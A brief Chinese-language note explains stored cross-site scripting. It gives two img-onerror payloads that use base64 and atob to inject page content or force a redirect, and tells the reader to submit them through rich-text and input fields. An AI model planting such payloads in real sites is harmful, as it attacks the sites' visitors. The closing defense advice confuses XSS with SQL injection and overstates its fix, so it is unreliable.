一,逻辑和原理
1,利用JS的onerror事件和atob解密(base64)
2,执行原理是:只要页面中出现脚本错误,就会执行onerror事件,利用onerror事件,加载自定义JS,如以下例子
1》注入加载自定义脚本
<body/hidden>< img src=1 onerror=document.write(atob(`d3d3LmJhaWR1LmNvbQ==`))>
2》注入自动跳转
<body/hidden>< img src=1 onerror=window.location.href=(atob(`d3d3LmJhaWR1LmNvbQ==`))>
3,然后在富文本框和输入框中输入以上这两串,保存,当用户访问,就会出现问题
二,防护的方式也是很简单
1,在用户输入的后端过滤脚本等SQL注入的字符,只要没有保存带数据库就完全没问题